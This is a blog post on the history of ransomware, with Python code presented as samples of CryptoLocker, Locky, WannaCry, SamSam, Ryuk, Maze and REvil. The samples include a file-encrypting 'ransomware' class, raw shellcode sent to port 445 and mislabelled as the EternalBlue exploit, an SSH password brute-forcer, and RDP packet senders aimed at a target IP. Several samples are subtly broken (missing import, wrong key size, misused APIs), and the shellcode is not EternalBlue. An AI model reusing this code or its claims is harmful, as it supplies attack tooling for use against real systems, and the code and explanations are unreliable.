DEV Community

Cover image for The Impressive Evolution of Ransomware Code
William Baptist
William Baptist

Posted on

The Impressive Evolution of Ransomware Code

Following the history of Ransomware is like watching a horror movie where the villain keeps getting smarter and more sophisticated. There’s something fascinating and yet daunting about the evolution of ransomware. In this article, I’ll take you on a deep dive into the historic timeline and show you what makes these malicious programs so difficult to stop.

The Computer Villain

The first known ransomware, known as the AIDS Trojan, appeared in 1989. Since then, ransomware has evolved significantly, becoming one of the most prevalent and destructive types of malware. This article will follow the evolution of ransomware, from the early days of CryptoLocker to the infamous WannaCry and more recent Maze and REvil ransomware attacks, while explaining how each type of ransomware works with actual code samples.

2013: CryptoLocker

CryptoLocker was the first ransomware to use public key cryptography to encrypt files. It was distributed via email attachments and exploited vulnerabilities in Java and Adobe Reader to infect systems. Once it infected a system, it encrypted all the files on the system and demanded payment in Bitcoin to provide the decryption key.

Code Sample:

import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
Enter fullscreen mode Exit fullscreen mode

The python code implements a class that can encrypt and decrypt files using the AES encryption algorithm. The class constructor takes an encryption key as an argument, which is used to encrypt and decrypt the files. The encrypt_file method takes an input file name and an optional output file name and chunk size. It reads the input file, pads it to a multiple of 16 bytes, and encrypts it using AES in CBC mode with a randomly generated initialization vector (IV). It writes the encrypted data to the output file, along with the original file size and the IV.

The decrypt_file method takes an input file name and an optional output file name and chunk size. It reads the input file, extracts the original file size and the IV, and decrypts the encrypted data using the same encryption key and IV. It writes the decrypted data to the output file and truncates it to the original file size. An example usage of the class is provided at the end of the code, where a CryptoLocker object is created with a secret key, an input file is encrypted, and then decrypted.

2016: Locky

Locky was distributed via email campaigns and used a combination of RSA and AES encryption to encrypt files. It demanded payment in Bitcoin to provide the decryption key. It was estimated to have infected over 100,000 systems within its first few weeks of release.

Code Sample:

import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)
Enter fullscreen mode Exit fullscreen mode

This python code generates an RSA key pair, then uses the AES encryption algorithm in EAX mode to encrypt some data, with a randomly generated AES key. The AES key is then encrypted using the RSA public key, and both the encrypted file and encrypted key are saved to disk.

2017: WannaCry

In 2017, the WannaCry ransomware spread rapidly across the globe, infecting hundreds of thousands of computers in over 150 countries. WannaCry exploited a vulnerability in the Windows operating system called EternalBlue, which was allegedly developed by the NSA

The widespread nature of the attack and the critical systems affected underscored the need for organizations to prioritize cybersecurity and maintain up-to-date software and security protocols to prevent such attacks..

Code Sample:

import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()
Enter fullscreen mode Exit fullscreen mode

This snippet creates a TCP socket and connects to the target machine’s IP address and port. It then sends the WannaCry exploit code to the target machine over the socket connection.

It’s important to remember that this code, like any other sample in this article, is purely for educational purposes and should not be used for any malicious activities.

2018: SamSam

SamSam was a ransomware that was first identified in 2018. Unlike many other ransomware attacks that use phishing emails to gain access to victims’ systems, SamSam used brute force to gain access to unpatched servers. Once inside, the ransomware encrypted files and demanded payment in Bitcoin.

Code Sample:

import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)
Enter fullscreen mode Exit fullscreen mode

The exploit attempts to connect to a remote server via SSH using a list of potential passwords for the specified username. If the connection is successful, the attacker is then able to perform malicious activities on the server using SamSam.

2019: Ryuk

Ryuk was believed to have originated in North Korea and had been used to target high-value targets such as hospitals and government agencies. This turned out to be false and was originally used by numerous different criminal organisations. Ryuk is typically delivered through phishing emails or by exploiting vulnerabilities in remote desktop protocols.

Code Sample:

import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return

    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)

    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())

    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')
Enter fullscreen mode Exit fullscreen mode

The exploit connects to the target RDP server and sends a malicious RDP message that exploits a vulnerability in the protocol. In a real attack, this message would contain the Ryuk ransomware payload. However, in this example, the purpose is to just print the response received from the server for demonstration purposes. It’s important to note that exploiting vulnerabilities in RDP is illegal, and proper guidance should be taken to do so ethically.

2019: Maze

Maze encrypts the victim’s files and demands payment in exchange for the decryption key. However, Maze ransomware also has a reputation for stealing sensitive data from victims and threatening to publish it if the ransom is not paid, making it a type of “double extortion” ransomware.

Maze ransomware has been known to exploit vulnerabilities in remote desktop protocols (RDPs) to gain access to systems, along with typical phishing emails.

Code Sample:

import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()
Enter fullscreen mode Exit fullscreen mode

As you can see, an attacker could establish a connection with an RDP server by sending various RDP packets, including a negotiation packet, a connection request packet, a security packet, and a negotiation security packet. By exploiting vulnerabilities in RDPs in this way, an attacker could potentially gain access to a victim’s system and deploy Maze ransomware to encrypt their files and steal sensitive data.

2021: REvil

One of the most notable ransomware attacks in recent years was the REvil ransomware attack in July 2021. The attack targeted a software provider called Kaseya, which provides remote management software to other companies. The attackers were able to gain access to Kaseya’s software and distribute malware to hundreds of their clients, resulting in a widespread ransomware attack.

REvil uses strong encryption to encrypt the victim’s files and demands a ransom payment in exchange for the decryption key. Like most ransomware groups of this era, bitcoin is used as a method of payment.

Code Sample:

import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
Enter fullscreen mode Exit fullscreen mode

This demonstrates a basic implementation of ransomware using the AES encryption algorithm in CBC mode. The class Ransomware takes a symmetric key as an argument, which is used to initialise the class. The encrypt_file method takes an input file, generates a random initialization vector, and uses the key and initialization vector to encrypt the file in chunks, padding as necessary. The decrypt_file method reverses this process, reading in the encrypted file, extracting the initialization vector, and decrypting the file chunk by chunk.

In the usage example, a key is defined, and an instance of the Ransomware class is created using this key. The encrypt_file method is called on a file called 'important_file.docx', which creates an encrypted file called 'important_file.docx.enc'. Finally, the decrypt_file method is called on the encrypted file to decrypt it back to its original form.

I hope that this article gives some much-needed perspective of how ransomware has evolved and how it is our biggest threat due to the ease of deployment and instant monetisation of illegal activity. However, it must be remembered the strides in recent years to expose and educate the general public on these matters.

Top comments (0)